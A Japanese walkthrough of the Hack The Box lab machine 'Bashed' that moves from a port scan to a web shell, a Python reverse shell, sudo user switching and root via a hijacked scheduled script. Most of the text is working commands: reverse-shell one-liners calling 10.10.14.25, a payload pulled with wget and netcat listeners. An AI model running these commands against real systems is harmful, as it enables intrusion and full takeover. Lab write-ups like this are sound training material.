忘れないように書いときます。φ(。。;)メモメモ
情報収集してみる
Spartaでポートスキャンします。
WEBサイトhttp://10.10.10.68/single.htmlにリンクがはってあります。
リンク先のGithubページをのぞいてみます。
phpbashを探します。SpataのNiktoスキャン結果を見てみます。
+ OSVDB-3268: /dev/: Directory indexing found.
+ OSVDB-3092: /dev/: This might be interesting…
+ OSVDB-3268: /php/: Directory indexing found.
+ OSVDB-3092: /php/: This might be interesting…
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
devフォルダをチェックします。phpbashありました。
www-dataでコマンドを実行できます。
www-data@bashed:/var/www/html/dev# whoami
www-data
Pythonがインストールされています。
www-data@bashed:/var/www/html/dev# which python
/usr/bin/python
シェルをいただいてみる
リバースシェルを待ち構えます。
nc -lvp 4444
WebシェルでPentestmonkyのPythonリバースシェルを実行します。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
リバースシェルをキャッチできました。
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.68: inverse host lookup failed: Unknown host
connect to [10.10.14.25] from (UNKNOWN) [10.10.10.68] 40800
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
権限を昇格してみる
sudoで実行したユーザに対する権限を表示します。
sudo -l
ノーパスワードでscriptmanagerにユーザを切り替えられます。
$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
scriptmanagerにユーザを切り替えます。
sudo -i -u scriptmanager
rootフォルダをのぞきます。scriptsフォルダだけ所有者がscriptmanagerです。
cd /
ls -la
total 88
drwxr-xr-x 23 root root 4096 Dec 4 2017 .
drwxr-xr-x 23 root root 4096 Dec 4 2017 ..
drwxr-xr-x 2 root root 4096 Dec 4 2017 bin
drwxr-xr-x 3 root root 4096 Dec 4 2017 boot
drwxr-xr-x 19 root root 4240 May 7 19:56 dev
drwxr-xr-x 89 root root 4096 Dec 4 2017 etc
drwxr-xr-x 4 root root 4096 Dec 4 2017 home
lrwxrwxrwx 1 root root 32 Dec 4 2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x 19 root root 4096 Dec 4 2017 lib
drwxr-xr-x 2 root root 4096 Dec 4 2017 lib64
drwx------ 2 root root 16384 Dec 4 2017 lost+found
drwxr-xr-x 4 root root 4096 Dec 4 2017 media
drwxr-xr-x 2 root root 4096 Feb 15 2017 mnt
drwxr-xr-x 2 root root 4096 Dec 4 2017 opt
dr-xr-xr-x 114 root root 0 May 7 19:56 proc
drwx------ 3 root root 4096 Dec 4 2017 root
drwxr-xr-x 18 root root 500 May 7 19:56 run
drwxr-xr-x 2 root root 4096 Dec 4 2017 sbin
drwxrwxr-- 2 scriptmanager scriptmanager 4096 May 7 23:18 scripts
drwxr-xr-x 2 root root 4096 Feb 15 2017 srv
dr-xr-xr-x 13 root root 0 May 7 19:56 sys
drwxrwxrwt 10 root root 4096 May 7 23:50 tmp
drwxr-xr-x 10 root root 4096 Dec 4 2017 usr
drwxr-xr-x 12 root root 4096 Dec 4 2017 var
lrwxrwxrwx 1 root root 29 Dec 4 2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
scriptsフォルダをのぞきます。test.txtがちょっと前に更新されてます。
ls -la
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 .
drwxr-xr-x 23 root root 4096 Dec 4 2017 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 May 7 22:11 test.txt
test.pyの中身。
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
test.pyがtest.txtを自動的に更新しているみたいです。test.pyをリバースシェルに置き換えればいいみたいです。中身をリバースシェルに置き換えたtest.pyをつくります。
root@kali:~# cat test.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.25”,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);
ほかのユーザも実行できるように権限を変えます。
chmod 777 test.py
ホストマシンでwebサーバを立ち上げます。
python -m SimpleHTTPServer 8080
ターゲットのマシンから元のtest.pyを削除します。
rm test.py
wgetでtest.pyをダウンロードします。
wget http://10.10.14.25:8080/test.py
ncでリバースシェルをまちかまえます。
nc -lnvp 5555
rootユーザのシェルをキャッチできました。😎
root@kali:~# nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.10.68] 59372
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)